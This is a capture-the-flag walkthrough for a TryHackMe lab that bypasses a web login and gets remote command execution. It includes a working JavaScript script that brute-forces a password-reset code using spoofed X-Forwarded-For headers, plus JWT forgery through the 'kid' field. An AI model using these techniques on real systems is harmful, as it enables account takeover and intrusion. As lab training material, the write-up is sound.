With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?
Objective: Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.
THM Room: https://tryhackme.com/room/hammer
Reconnaissance
Let us start with nmap scan:
nmap -sC -sV -p- --open -v 10.10.18.72

We see that there are two open ports, 22 and 1337. We have a web server listening on port 1337. Let us check what we have there.

There is a login form and an interesting comment in the source code:
Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME
This note suggests that we need to run gobuster in the fuzz mode:
gobuster fuzz -u http://hammer.thm:1337/hmr_FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 32 -b 404

There is an interesting directory, hmr_logs. And it is readable:

We definitely want to read error.logs because it can disclose information that will help us get access to the server.

We see references to files and directories, but they are no longer there. There is also an email address, [email protected].
I tried brute-forcing the user’s password, but I have not succeeded. Let us explore the Reset Password functionality.
Reset User Password
There are two excellent rooms with all the necessary theory behind what we are going to do: Enumeration & Brute Force and Session Management.


We have 180 seconds to brute force the code. Four digits mean 10,000 attempts. That’s doable, for example, with Hydra.
However, after seven unsuccessful attempts, we see:
Rate limit exceeded. Please try again later.
That’s sad.
There are two options to explore:
- Kill the session and reset the password after seven unsuccessful attempts. This will work if the server does not generate a new code every time we try to reset the password.
- Try an
X-Forwarded-Forheader with random IPs.
Tests show that the second approach works.
I wrote a simple script to brute force the code:
async function getSessionID() {
const response = await fetch('http://hammer.thm:1337/reset_password.php', {
method: 'POST',
body: new URLSearchParams({ email: '[email protected]' }),
redirect: 'manual',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
});
return response.headers.getSetCookie().find(s => s.startsWith('PHPSESSID')).split(';', 2)[0].split('=', 2)[1];
}
(async () => {
let sessionID;
for (let code = 0; code <= 9999; ++code) {
if (!(code % 500)) {
sessionID = await getSessionID();
}
const response = await fetch('http://hammer.thm:1337/reset_password.php', {
method: 'POST',
body: new URLSearchParams({ recovery_code: `${code}`.padStart(4, '0'), s: '180' }),
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Forwarded-For': '1.1.' + Math.floor(code / 256) + '.' + Math.floor(code % 256),
'Cookie': `PHPSESSID=${sessionID}`,
}
});
const text = await response.text();
if (!text.includes('alert alert-danger')) {
console.log(code, text);
console.log(sessionID);
break;
}
if (text.length != 2202) {
console.log(text.length, text);
break;
}
}
})();
Notes:
- If the code does not work, we have a
divelement withclass="alert alert-danger". - If we use an incorrect code, the response is 2202 bytes.
- The script tries the codes sequentially. It is possible to parallelize the process, but I am too lazy.
- The script resets the password after 500 attempts, in the hope that the first attempt works (spoiler: it does).
After the script finishes, we have the session ID. We open Developer Tools and replace the value of the PHPSESSID cookie with what we have got from the script and refresh the page:

Set a new password and log in.
And we have the first flag!

This page has a surprise: a script that automatically logs us out:

There are multiple ways you can neutralize it: intercept the response in Burp Suite and modify it, or disable JavaScript. Or you can analyze what it does and run a simple one-line script in the browser console:
document.cookie = 'persistentSession=1; ' + document.cookie;

Whichever way you choose, do not forget to update the values of the persistentSession cookie in the browser.
The only command we can run is ls (spoiler: there is another one):

If we try any other command, we will see the error: Command not allowed.
There are two files we can (and should) download:
188ade1.keycomposer.json
Privilege Escalation
The theory behind what we do is explained in the JWT Security lesson.
It is clear that with the user role we cannot do much. Let us find out how to pass commands to the server.

The interesting part is the JWT token. We can go to token.dev and analyze the token.

We definitely want to modify the payload and set the role to “admin”. However, if we do this, we also need to update the token signature. The header suggests that the key to sign the token lives in /var/www/mykey.key. But unfortunately, we cannot download it.
However, we have another key: 188ade1.key. That file is exactly 32 bytes (256 bits), and this is the length of the HS256 signature. We need to encode it with Base64 and ask token.dev to use it to sign the new payload. Do not forget to update the kid value with the path to our signing key.

We can now use this token to authenticate our requests:

It turns out that the only necessary cookie is persistentSession; that script does not care about the PHP session and relies solely upon the JWT.
If we modify the command to cat /home/ubuntu/flag.txt, we will get the second flag:

That was pretty easy, wasn’t it?